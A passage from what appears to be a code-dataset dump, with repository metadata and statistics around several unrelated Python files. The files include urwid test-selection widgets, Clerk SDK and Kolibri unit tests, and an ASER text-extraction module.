selectable(self): return True def keypress(self, size, key): """allow subclasses to intercept keystrokes""" key = self.__super.keypress(size, key) if key: key = self.unhandled_keys(size, key) return key def unhandled_keys(self, size, key): """ Override this method to intercept keystrokes in subclasses. Default behavior: Toggle flagged on space, ignore other keys. """ if key == " ": self.get_node().toggle_flag() else: return key def update_w(self): """Update the attributes of self.widget based on self.flagged. """ node = self.get_node() if node.flagged: if node.all_flagged: icon = "x" elif node.any_flagged: icon = "~" else: raise ValueError() self.selected_w.set_text("[%s]" % icon) else: self.selected_w.set_text("[ ]") class TestFileNode(urwid.ParentNode): def __init__(self, *args, flagged=False, test_suite=None, **kwargs): super().__init__(*args, **kwargs) self.flagged = flagged self.test_suite = test_suite self.all_flagged = False self.any_flagged = False def load_widget(self): return TestFileWidget(self) def load_child_keys(self): data = self.get_value() return sorted(data.get_tests_name(test_file=self._key)) def set_flag(self, flag): self.flagged = flag for child_key in self.get_child_keys(): child = self.get_child_node(child_key) child.set_flag(flag) self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() def check_flag(self): data = self.get_value() tests = data.get_tests_name(test_file=self._key) stests = set() for test in tests: stests.add((self.get_value(), test)) self.all_flagged = stests.issubset(SELECTED_TEST) self.any_flagged = not stests.isdisjoint(SELECTED_TEST) if self.all_flagged or self.any_flagged: self.flagged = True self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() if not self.any_flagged: self.flagged = False self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() def toggle_flag(self): self.set_flag(not self.flagged) def load_child_node(self, key): data = self.get_value() test = data[key] if test: child_class = SingleTestNode else: child_class = self.__class__ return child_class( data, parent=self, key=key, depth=self.get_depth() + 1, flagged=self.flagged, test_suite=self.get_value(), ) def refresh(self): self._child_keys = None self.check_flag() for child_key in self.get_child_keys(): child = self.get_child_node(child_key) child.refresh() class TestSuiteWidget(urwid.TreeWidget): unexpanded_icon = urwid.SelectableIcon("▹", 0) expanded_icon = urwid.SelectableIcon("▿", 0) def __init__(self, *args, **kwargs): self.selected_w = urwid.Text("[ ]") super().__init__(*args, **kwargs) # insert an extra AttrWrap for our own use self._w = urwid.AttrWrap(self._w, None) self._w.attr = "body" self._w.focus_attr = "focus" self.update_w() self.expanded = True self.update_expanded_icon() def load_inner_widget(self): main_w = urwid.Text(self.get_display_text()) return urwid.Columns([("fixed", 3, self.selected_w), main_w], dividechars=1) def get_display_text(self): return self.get_node().get_key() def selectable(self): return True def keypress(self, size, key): """allow subclasses to intercept keystrokes""" key = self.__super.keypress(size, key) if key: key = self.unhandled_keys(size, key) return key def unhandled_keys(self, size, key): """ Override this method to intercept keystrokes in subclasses. Default behavior: Toggle flagged on space, ignore other keys. """ if key == " ": self.get_node().toggle_flag() else: return key def update_w(self): """Update the attributes of self.widget based on self.flagged. """ node = self.get_node() if node.flagged: if node.all_flagged: icon = "x" elif node.any_flagged: icon = "~" else: raise ValueError() self.selected_w.set_text("[%s]" % icon) else: self.selected_w.set_text("[ ]") class TestSuiteNode(urwid.ParentNode): def __init__(self, *args, flagged=False, **kwargs): super().__init__(*args, **kwargs) self.flagged = flagged self.all_flagged = False self.any_flagged = False def load_widget(self): return TestSuiteWidget(self) def load_child_keys(self): data = self.get_value() return sorted(data.get_test_files()) def set_flag(self, flag): self.flagged = flag for child_key in self.get_child_keys(): child = self.get_child_node(child_key) child.set_flag(flag) self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() def check_flag(self): data = self.get_value() tests = data.get_tests_name() stests = set() for test in tests: stests.add((self.get_value(), test)) self.all_flagged = stests.issubset(SELECTED_TEST) self.any_flagged = not stests.isdisjoint(SELECTED_TEST) if self.all_flagged or self.any_flagged: self.flagged = True self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() if not self.any_flagged: self.flagged = False self.get_widget().update_w() if hasattr(self.get_parent(), "check_flag"): self.get_parent().check_flag() def toggle_flag(self): self.set_flag(not self.flagged) def load_child_node(self, key): data = self.get_value() child_class = TestFileNode return child_class( data, parent=self, key=key, depth=self.get_depth() + 1, flagged=self.flagged ) def refresh(self): # signals.emit_signal(self.get_widget(), "modified") self._child_keys = None self.check_flag() for child_key in self.get_child_keys(): child = self.get_child_node(child_key) child.refresh() class RootTreeWidget(urwid.TreeWidget): """ Display widget for leaf nodes """ def get_display_text(self): return "Tests" class RootParentNode(urwid.ParentNode): def load_widget(self): return RootTreeWidget(self) def load_child_keys(self): data = self.get_value() return list(data.get_test_suites()) def load_child_node(self, key): data = self.get_value() suite = data.suites[key] return TestSuiteNode(suite, parent=self, key=key, depth=self.get_depth() + 1) def refresh(self): # signals.emit_signal(self.get_widget(), "modified") self._child_keys = None for child_key in self.get_child_keys(): child = self.get_child_node(child_key) child.refresh()

28.226872

88

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1,559

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0.023417

0.032423

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0.747818

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0.726895

0.709436

0.698767

0

0.002619

0.284822

12,815

453

89

28.289183

0.784397

0.07936

0

0.729032

0

0.061744

0

1

0.164516

false

0.006452

0.012903

0.035484

0.303226

0.003226

0

null

0

1

0

1

0

null

0

6

90bd0f7b8b08db4cb8e94533fd4b340cb7aa38da

26

py

Python

opt/__init__.py

hansheng0512/LateTemporalModeling3DCNN

71c1d3fae9781c55059f0518e0b39781a535e153

[ "MIT" ]

144

2020-08-06T02:18:49.000Z

2022-03-16T23:03:56.000Z

opt/__init__.py

hansheng0512/LateTemporalModeling3DCNN

71c1d3fae9781c55059f0518e0b39781a535e153

[ "MIT" ]

26

2020-08-12T01:07:48.000Z

2022-01-11T16:28:08.000Z

opt/__init__.py

hansheng0512/LateTemporalModeling3DCNN

71c1d3fae9781c55059f0518e0b39781a535e153

[ "MIT" ]

55

2020-08-13T03:00:17.000Z

2022-03-28T06:38:08.000Z

from .AdamW import AdamW

8.666667

24

0.769231

4

26

5

0.75

0

0.192308

26

2

25

13

0.952381

0

1

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true

0

1

0

1

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1

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null

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1

0

null

0

1

0

1

0

1

0

6

90deeb453f569ec9ed42914674d68873f513d8f1

3,694

py

Python

tests/test_client.py

tizz98/clerk-sdk-python

32a2e243aa8a8d92ca4f3dab68b36eef5aa040d3

[ "MIT" ]

null

tests/test_client.py

tizz98/clerk-sdk-python

32a2e243aa8a8d92ca4f3dab68b36eef5aa040d3

[ "MIT" ]

null

tests/test_client.py

tizz98/clerk-sdk-python

32a2e243aa8a8d92ca4f3dab68b36eef5aa040d3

[ "MIT" ]

null

import pytest from clerk import errors, types @pytest.mark.asyncio class TestAPIErrorHandling: def _check_error(self, e: errors.ClerkAPIException, err): assert e.status == 400 assert e.method is not None assert e.url is not None assert e.api_errors == (err,) async def test_sessions_service_handles_errors(self, client, httpserver, server_400_error): httpserver.expect_request("/sessions/", "GET").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/sessions/123/", "GET").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/sessions/123/revoke/", "POST").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/sessions/123/verify/", "POST").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) with pytest.raises(errors.ClerkAPIException) as e: await client.session.list() self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.session.get("123") self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.session.revoke("123") self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.session.verify("123", "x") self._check_error(e.value, server_400_error) async def test_users_service_handles_errors(self, client, httpserver, server_400_error): httpserver.expect_request("/users/", "GET").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/users/123/").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) with pytest.raises(errors.ClerkAPIException) as e: await client.users.list() self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.users.get("123") self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.users.delete("123") self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.users.update("123", types.UpdateUserRequest()) self._check_error(e.value, server_400_error) async def test_clients_service_handles_errors(self, client, httpserver, server_400_error): httpserver.expect_request("/clients/", "GET").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/clients/123/", "GET").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) httpserver.expect_request("/clients/verify/", "POST").respond_with_json( {"errors": [server_400_error.dict()]}, status=400 ) with pytest.raises(errors.ClerkAPIException) as e: await client.clients.list() self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.clients.get("123") self._check_error(e.value, server_400_error) with pytest.raises(errors.ClerkAPIException) as e: await client.clients.verify("token") self._check_error(e.value, server_400_error)

36.574257

95

0.654034

442

3,694

5.217195

0.131222

0.089766

0.139636

0.104944

0.870772

0.856895

0.842151

0

0.047137

0.224689

3,694

100

96

36.94

0.758031

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0

0.062263

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1

0.013889

false

0

0.027778

0

0.055556

0

null

0

1

0

null

0

6

294b05a0c139fd61f48237032e1f5ce23081086c

5,260

py

Python

kolibri/core/content/test/test_redirectcontent.py

MBKayro/kolibri

0a38a5fb665503cf8f848b2f65938e73bfaa5989

[ "MIT" ]

545

2016-01-19T19:26:55.000Z

2022-03-20T00:13:04.000Z

kolibri/core/content/test/test_redirectcontent.py

MBKayro/kolibri

0a38a5fb665503cf8f848b2f65938e73bfaa5989

[ "MIT" ]

8,329

2016-01-19T19:32:02.000Z

2022-03-31T21:23:12.000Z

kolibri/core/content/test/test_redirectcontent.py

MBKayro/kolibri

0a38a5fb665503cf8f848b2f65938e73bfaa5989

[ "MIT" ]

493

2016-01-19T19:26:48.000Z

2022-03-28T14:35:05.000Z

import uuid from django.core.urlresolvers import reverse from django.test import TestCase from mock import patch from six.moves.urllib.parse import urlencode from kolibri.core.content.models import ContentNode class RedirectContentTestCase(TestCase): """ Testcase for viewcontent endpoint """ fixtures = ["content_test.json"] the_channel_id = "6199dde695db4ee4ab392222d5af1e5c" def _get_url(self, **kwargs): url = reverse("kolibri:core:contentpermalink") if any(kwargs.values()): url += "?" url += urlencode({k: v for k, v in kwargs.items() if v is not None}) return url def test_no_params_404(self): response = self.client.get(self._get_url()) self.assertEqual(response.status_code, 404) def test_node_id_only_valid(self): node_id = ContentNode.objects.first().id response = self.client.get(self._get_url(node_id=node_id)) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. self.assertTrue(node_id in response.url) def test_node_id_only_invalid(self): response = self.client.get(self._get_url(node_id="rubbish")) self.assertEqual(response.status_code, 404) def test_node_id_and_content_id_valid(self): node = ContentNode.objects.first() response = self.client.get( self._get_url(node_id=node.id, content_id=node.content_id) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. self.assertTrue(node.id in response.url) def test_node_id_and_content_id_and_channel_id_valid(self): node = ContentNode.objects.first() response = self.client.get( self._get_url( node_id=node.id, content_id=node.content_id, channel_id=node.channel_id ) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. self.assertTrue(node.id in response.url) def test_node_id_missing_and_content_id_and_channel_id_valid(self): node = ContentNode.objects.first() response = self.client.get( self._get_url( node_id=uuid.uuid4().hex, content_id=node.content_id, channel_id=node.channel_id, ) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. # Can make this assertion because this node is unique self.assertTrue(node.id in response.url) def test_node_id_missing_and_content_id_valid_and_channel_id_missing(self): node = ContentNode.objects.first() response = self.client.get( self._get_url( node_id=uuid.uuid4().hex, content_id=node.content_id, channel_id=uuid.uuid4().hex, ) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. # Can make this assertion because this node is unique self.assertTrue(node.id in response.url) def test_node_id_missing_and_content_id_missing_and_channel_id_missing(self): response = self.client.get( self._get_url( node_id=uuid.uuid4().hex, content_id=uuid.uuid4().hex, channel_id=uuid.uuid4().hex, ) ) self.assertEqual(response.status_code, 404) def test_node_id_invalid_and_content_id_and_channel_id_valid(self): node = ContentNode.objects.first() response = self.client.get( self._get_url( node_id="rubbish", content_id=node.content_id, channel_id=node.channel_id, ) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. # Can make this assertion because this node is unique self.assertTrue(node.id in response.url) def test_node_id_invalid_and_content_id_valid_and_channel_id_invalid(self): node = ContentNode.objects.first() response = self.client.get( self._get_url( node_id="rubbish", content_id=node.content_id, channel_id="rubbish" ) ) self.assertEqual(response.status_code, 302) # This is true for our default learn urls for now. # Can make this assertion because this node is unique self.assertTrue(node.id in response.url) def test_node_id_invalid_and_content_id_invalid_and_channel_id_invalid(self): response = self.client.get( self._get_url(node_id="rubbish", content_id="rubbish", channel_id="rubbish") ) self.assertEqual(response.status_code, 404) def test_node_id_only_valid_no_hooks_404(self): node_id = ContentNode.objects.first().id with patch("kolibri.core.content.views.ContentNodeDisplayHook") as hook_mock: hook_mock.registered_hooks.return_value = [] response = self.client.get(self._get_url(node_id=node_id)) self.assertEqual(response.status_code, 404)

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2950e2d6496ab5c04db14e9a7b1fdb1a9afd9f23

56,354

py

Python

aser/extract/aser_extractor.py

DDoublu/ASER

93f91a6d4797fdfbb0dc3051acae367fe85bc5cb

[ "MIT" ]

null

aser/extract/aser_extractor.py

DDoublu/ASER

93f91a6d4797fdfbb0dc3051acae367fe85bc5cb

[ "MIT" ]

null

aser/extract/aser_extractor.py

DDoublu/ASER

93f91a6d4797fdfbb0dc3051acae367fe85bc5cb

[ "MIT" ]

null

from copy import copy, deepcopy from itertools import chain from .eventuality_extractor import SeedRuleEventualityExtractor, DiscourseEventualityExtractor from .relation_extractor import SeedRuleRelationExtractor, DiscourseRelationExtractor from .utils import parse_sentense_with_stanford, get_corenlp_client from .utils import ANNOTATORS class BaseASERExtractor(object): """ Base ASER Extractor to extract both eventualities and relations. It includes an instance of `BaseEventualityExtractor` and an instance of `BaseRelationExtractor`. """ def __init__(self, corenlp_path="", corenlp_port=0, **kw): """ :param corenlp_path: corenlp path, e.g., /home/xliucr/stanford-corenlp-3.9.2 :type corenlp_path: str (default = "") :param corenlp_port: corenlp port, e.g., 9000 :type corenlp_port: int (default = 0) :param kw: other parameters :type kw: Dict[str, object] """ self.corenlp_path = corenlp_path self.corenlp_port = corenlp_port self.annotators = kw.get("annotators", list(ANNOTATORS)) _, self.is_externel_corenlp = get_corenlp_client(corenlp_path=self.corenlp_path, corenlp_port=self.corenlp_port) self.eventuality_extractor = None self.relation_extractor = None def close(self): """ Close the extractor safely """ if not self.is_externel_corenlp: corenlp_client, _ = get_corenlp_client(corenlp_path=self.corenlp_path, corenlp_port=self.corenlp_port) corenlp_client.stop() if self.eventuality_extractor: self.eventuality_extractor.close() if self.relation_extractor: self.relation_extractor.close() def __del__(self): self.close() def parse_text(self, text, annotators=None): """ Parse a raw text by corenlp :param text: a raw text :type text: str :param annotators: annotators for corenlp, please refer to https://stanfordnlp.github.io/CoreNLP/annotators.html :type annotators: Union[List, None] (default = None) :return: the parsed result :rtype: List[Dict[str, object]] .. highlight:: python .. code-block:: python Input: "My army will find your boat. In the meantime, I'm sure we could find you suitable accommodations." Output: [{'dependencies': [(1, 'nmod:poss', 0), (3, 'nsubj', 1), (3, 'aux', 2), (3, 'dobj', 5), (3, 'punct', 6), (5, 'nmod:poss', 4)], 'lemmas': ['my', 'army', 'will', 'find', 'you', 'boat', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (NP (PRP$ My) (NN army)) (VP (MD will) (VP (VB find) (NP ' '(PRP$ your) (NN boat)))) (. .)))', 'pos_tags': ['PRP$', 'NN', 'MD', 'VB', 'PRP$', 'NN', '.'], 'text': 'My army will find your boat.', 'tokens': ['My', 'army', 'will', 'find', 'your', 'boat', '.']}, {'dependencies': [(2, 'case', 0), (2, 'det', 1), (6, 'nmod:in', 2), (6, 'punct', 3), (6, 'nsubj', 4), (6, 'cop', 5), (6, 'ccomp', 9), (6, 'punct', 13), (9, 'nsubj', 7), (9, 'aux', 8), (9, 'iobj', 10), (9, 'dobj', 12), (12, 'amod', 11)], 'lemmas': ['in', 'the', 'meantime', ',', 'I', 'be', 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodation', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (PP (IN In) (NP (DT the) (NN meantime))) (, ,) (NP (PRP ' "I)) (VP (VBP 'm) (ADJP (JJ sure) (SBAR (S (NP (PRP we)) (VP (MD " 'could) (VP (VB find) (NP (PRP you)) (NP (JJ suitable) (NNS ' 'accommodations)))))))) (. .)))', 'pos_tags': ['IN', 'DT', 'NN', ',', 'PRP', 'VBP', 'JJ', 'PRP', 'MD', 'VB', 'PRP', 'JJ', 'NNS', '.'], 'text': "In the meantime, I'm sure we could find you suitable " 'accommodations.', 'tokens': ['In', 'the', 'meantime', ',', 'I', "'m", 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodations', '.']}] """ if annotators is None: annotators = self.annotators corenlp_client, _ = get_corenlp_client( corenlp_path=self.corenlp_path, corenlp_port=self.corenlp_port, annotators=annotators ) parsed_result = parse_sentense_with_stanford(text, corenlp_client, self.annotators) return parsed_result def extract_eventualities_from_parsed_result(self, parsed_result, output_format="Eventuality", in_order=True, **kw): """ Extract eventualities from the parsed result :param parsed_result: the parsed result returned by corenlp :type parsed_result: List[Dict[str, object]] :param output_format: which format to return, "Eventuality" or "json" :type output_format: str (default = "Eventuality") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted eventualities :rtype: Union[List[List[aser.eventuality.Eventuality]], List[List[Dict[str, object]]], List[aser.eventuality.Eventuality], List[Dict[str, object]]] .. highlight:: python .. code-block:: python Input: [{'dependencies': [(1, 'nmod:poss', 0), (3, 'nsubj', 1), (3, 'aux', 2), (3, 'dobj', 5), (3, 'punct', 6), (5, 'nmod:poss', 4)], 'lemmas': ['my', 'army', 'will', 'find', 'you', 'boat', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (NP (PRP$ My) (NN army)) (VP (MD will) (VP (VB find) (NP ' '(PRP$ your) (NN boat)))) (. .)))', 'pos_tags': ['PRP$', 'NN', 'MD', 'VB', 'PRP$', 'NN', '.'], 'text': 'My army will find your boat.', 'tokens': ['My', 'army', 'will', 'find', 'your', 'boat', '.']}, {'dependencies': [(2, 'case', 0), (2, 'det', 1), (6, 'nmod:in', 2), (6, 'punct', 3), (6, 'nsubj', 4), (6, 'cop', 5), (6, 'ccomp', 9), (6, 'punct', 13), (9, 'nsubj', 7), (9, 'aux', 8), (9, 'iobj', 10), (9, 'dobj', 12), (12, 'amod', 11)], 'lemmas': ['in', 'the', 'meantime', ',', 'I', 'be', 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodation', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (PP (IN In) (NP (DT the) (NN meantime))) (, ,) (NP (PRP ' "I)) (VP (VBP 'm) (ADJP (JJ sure) (SBAR (S (NP (PRP we)) (VP (MD " 'could) (VP (VB find) (NP (PRP you)) (NP (JJ suitable) (NNS ' 'accommodations)))))))) (. .)))', 'pos_tags': ['IN', 'DT', 'NN', ',', 'PRP', 'VBP', 'JJ', 'PRP', 'MD', 'VB', 'PRP', 'JJ', 'NNS', '.'], 'text': "In the meantime, I'm sure we could find you suitable " 'accommodations.', 'tokens': ['In', 'the', 'meantime', ',', 'I', "'m", 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodations', '.']}] Output: [[my army will find you boat], [i be sure, we could find you suitable accommodation]] """ if output_format not in ["Eventuality", "json"]: raise ValueError( "Error: extract_eventualities_from_parsed_result only supports Eventuality or json." ) return self.eventuality_extractor.extract_from_parsed_result( parsed_result, output_format=output_format, in_order=in_order, **kw ) def extract_eventualities_from_text(self, text, output_format="Eventuality", in_order=True, annotators=None, **kw): """ Extract eventualities from a raw text :param text: a raw text :type text: str :param output_format: which format to return, "Eventuality" or "json" :type output_format: str (default = "Eventuality") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param annotators: annotators for corenlp, please refer to https://stanfordnlp.github.io/CoreNLP/annotators.html :type annotators: Union[List, None] (default = None) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted eventualities :rtype: Union[List[List[aser.eventuality.Eventuality]], List[List[Dict[str, object]]], List[aser.eventuality.Eventuality], List[Dict[str, object]]] .. highlight:: python .. code-block:: python Input: "My army will find your boat. In the meantime, I'm sure we could find you suitable accommodations." Output: [[my army will find you boat], [i be sure, we could find you suitable accommodation]] """ if output_format not in ["Eventuality", "json"]: raise NotImplementedError("Error: extract_eventualities_from_text only supports Eventuality or json.") parsed_result = self.parse_text(text, annotators=annotators) return self.extract_eventualities_from_parsed_result( parsed_result, output_format=output_format, in_order=in_order, **kw ) def extract_relations_from_parsed_result( self, parsed_result, para_eventualities, output_format="Relation", in_order=True, **kw ): """ Extract relations from a parsed result (of a paragraph) and extracted eventualities :param parsed_result: the parsed result returned by corenlp :type parsed_result: List[Dict[str, object]] :param para_eventualities: eventualities in the paragraph :type para_eventualities: List[aser.eventuality.Eventuality] :param output_format: which format to return, "Relation" or "triplet" :type output_format: str (default = "Relation") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted relations :rtype: Union[List[List[aser.relation.Relation]], List[List[Dict[str, object]]], List[aser.relation.Relation], List[Dict[str, object]]] .. highlight:: python .. code-block:: python Input: [{'dependencies': [(1, 'nmod:poss', 0), (3, 'nsubj', 1), (3, 'aux', 2), (3, 'dobj', 5), (3, 'punct', 6), (5, 'nmod:poss', 4)], 'lemmas': ['my', 'army', 'will', 'find', 'you', 'boat', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (NP (PRP$ My) (NN army)) (VP (MD will) (VP (VB find) (NP ' '(PRP$ your) (NN boat)))) (. .)))', 'pos_tags': ['PRP$', 'NN', 'MD', 'VB', 'PRP$', 'NN', '.'], 'text': 'My army will find your boat.', 'tokens': ['My', 'army', 'will', 'find', 'your', 'boat', '.']}, {'dependencies': [(2, 'case', 0), (2, 'det', 1), (6, 'nmod:in', 2), (6, 'punct', 3), (6, 'nsubj', 4), (6, 'cop', 5), (6, 'ccomp', 9), (6, 'punct', 13), (9, 'nsubj', 7), (9, 'aux', 8), (9, 'iobj', 10), (9, 'dobj', 12), (12, 'amod', 11)], 'lemmas': ['in', 'the', 'meantime', ',', 'I', 'be', 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodation', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (PP (IN In) (NP (DT the) (NN meantime))) (, ,) (NP (PRP ' "I)) (VP (VBP 'm) (ADJP (JJ sure) (SBAR (S (NP (PRP we)) (VP (MD " 'could) (VP (VB find) (NP (PRP you)) (NP (JJ suitable) (NNS ' 'accommodations)))))))) (. .)))', 'pos_tags': ['IN', 'DT', 'NN', ',', 'PRP', 'VBP', 'JJ', 'PRP', 'MD', 'VB', 'PRP', 'JJ', 'NNS', '.'], 'text': "In the meantime, I'm sure we could find you suitable " 'accommodations.', 'tokens': ['In', 'the', 'meantime', ',', 'I', "'m", 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodations', '.']}], [[my army will find you boat], [i be sure, we could find you suitable accommodation]] Output: [[], [(7d9ea9023b66a0ebc167f0dbb6ea8cd75d7b46f9, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Co_Occurrence': 1.0})], [(8540897b645962964fd644242d4cc0032f024e86, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Synchronous': 1.0})]] """ if output_format not in ["Relation", "triplet"]: raise NotImplementedError("Error: extract_relations_from_parsed_result only supports Relation or triplet.") return self.relation_extractor.extract_from_parsed_result( parsed_result, para_eventualities, output_format=output_format, in_order=in_order, **kw ) def extract_relations_from_text(self, text, output_format="Relation", in_order=True, annotators=None, **kw): """ Extract relations from a raw text and extracted eventualities :param text: a raw text :type text: str :param output_format: which format to return, "Relation" or "triplet" :type output_format: str (default = "Relation") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param annotators: annotators for corenlp, please refer to https://stanfordnlp.github.io/CoreNLP/annotators.html :type annotators: Union[List, None] (default = None) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted relations :rtype: Union[List[List[aser.relation.Relation]], List[List[Dict[str, object]]], List[aser.relation.Relation], List[Dict[str, object]]] .. highlight:: python .. code-block:: python Input: "My army will find your boat. In the meantime, I'm sure we could find you suitable accommodations." Output: [[], [(7d9ea9023b66a0ebc167f0dbb6ea8cd75d7b46f9, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Co_Occurrence': 1.0})], [(8540897b645962964fd644242d4cc0032f024e86, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Synchronous': 1.0})]] """ if output_format not in ["Relation", "triplet"]: raise NotImplementedError("Error: extract_relations_from_text only supports Relation or triplet.") parsed_result = self.parse_text(text, annotators=annotators) para_eventualities = self.extract_eventualities_from_parsed_result(parsed_result) return self.extract_relations_from_parsed_result( parsed_result, para_eventualities, output_format=output_format, in_order=in_order, **kw ) def extract_from_parsed_result( self, parsed_result, eventuality_output_format="Eventuality", relation_output_format="Relation", in_order=True, **kw ): """ Extract both eventualities and relations from a parsed result :param parsed_result: the parsed result returned by corenlp :type parsed_result: List[Dict[str, object]] :param eventuality_output_format: which format to return eventualities, "Eventuality" or "json" :type eventuality_output_format: str (default = "Eventuality") :param relation_output_format: which format to return relations, "Relation" or "triplet" :type relation_output_format: str (default = "Relation") :param in_order: whether the returned order follows the input token order :type in_order: bool (default = True) :param kw: other parameters :type kw: Dict[str, object] :return: the extracted eventualities and relations :rtype: Tuple[Union[List[List[aser.eventuality.Eventuality]], List[List[Dict[str, object]]], List[aser.eventuality.Eventuality], List[Dict[str, object]]], Union[List[List[aser.relation.Relation]], List[List[Dict[str, object]]], List[aser.relation.Relation], List[Dict[str, object]]]] .. highlight:: python .. code-block:: python Input: [{'dependencies': [(1, 'nmod:poss', 0), (3, 'nsubj', 1), (3, 'aux', 2), (3, 'dobj', 5), (3, 'punct', 6), (5, 'nmod:poss', 4)], 'lemmas': ['my', 'army', 'will', 'find', 'you', 'boat', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (NP (PRP$ My) (NN army)) (VP (MD will) (VP (VB find) (NP ' '(PRP$ your) (NN boat)))) (. .)))', 'pos_tags': ['PRP$', 'NN', 'MD', 'VB', 'PRP$', 'NN', '.'], 'text': 'My army will find your boat.', 'tokens': ['My', 'army', 'will', 'find', 'your', 'boat', '.']}, {'dependencies': [(2, 'case', 0), (2, 'det', 1), (6, 'nmod:in', 2), (6, 'punct', 3), (6, 'nsubj', 4), (6, 'cop', 5), (6, 'ccomp', 9), (6, 'punct', 13), (9, 'nsubj', 7), (9, 'aux', 8), (9, 'iobj', 10), (9, 'dobj', 12), (12, 'amod', 11)], 'lemmas': ['in', 'the', 'meantime', ',', 'I', 'be', 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodation', '.'], 'mentions': [], 'ners': ['O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O', 'O'], 'parse': '(ROOT (S (PP (IN In) (NP (DT the) (NN meantime))) (, ,) (NP (PRP ' "I)) (VP (VBP 'm) (ADJP (JJ sure) (SBAR (S (NP (PRP we)) (VP (MD " 'could) (VP (VB find) (NP (PRP you)) (NP (JJ suitable) (NNS ' 'accommodations)))))))) (. .)))', 'pos_tags': ['IN', 'DT', 'NN', ',', 'PRP', 'VBP', 'JJ', 'PRP', 'MD', 'VB', 'PRP', 'JJ', 'NNS', '.'], 'text': "In the meantime, I'm sure we could find you suitable " 'accommodations.', 'tokens': ['In', 'the', 'meantime', ',', 'I', "'m", 'sure', 'we', 'could', 'find', 'you', 'suitable', 'accommodations', '.']}], [[my army will find you boat], [i be sure, we could find you suitable accommodation]] Output: ([[my army will find you boat], [i be sure, we could find you suitable accommodation]], [[], [(7d9ea9023b66a0ebc167f0dbb6ea8cd75d7b46f9, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Co_Occurrence': 1.0})], [(8540897b645962964fd644242d4cc0032f024e86, 25edad6781577dcb3ba715c8230416fb0d4c45c4, {'Synchronous': 1.0})]]) """ if eventuality_output_format not in ["Eventuality", "json"]: raise NotImplementedError("Error: extract_eventualities only supports Eventuality or json.") if relation_output_format not in ["Relation", "triplet"]: raise NotImplementedError("Error: extract_relations only supports Relation or triplet.") if not isinstance(parsed_result, (list, tuple, dict)): raise NotImplementedError if isinstance(parsed_result, dict): is_single_sent = True parsed_result = [parsed_result] else: is_single_sent = False para_eventualities = self.extract_eventualities_from_parsed_result( parsed_result, output_format="Eventuality", in_order=True, **kw ) para_relations = self.extract_relations_from_parsed_result( parsed_result, para_eventualities, output_format="Relation", in_order=True, **kw ) if in_order: if eventuality_output_format == "json": para_eventualities = [[eventuality.encode(encoding=None) for eventuality in sent_eventualities] \ for sent_eventualities in para_eventualities] if relation_output_format == "triplet": para_relations = 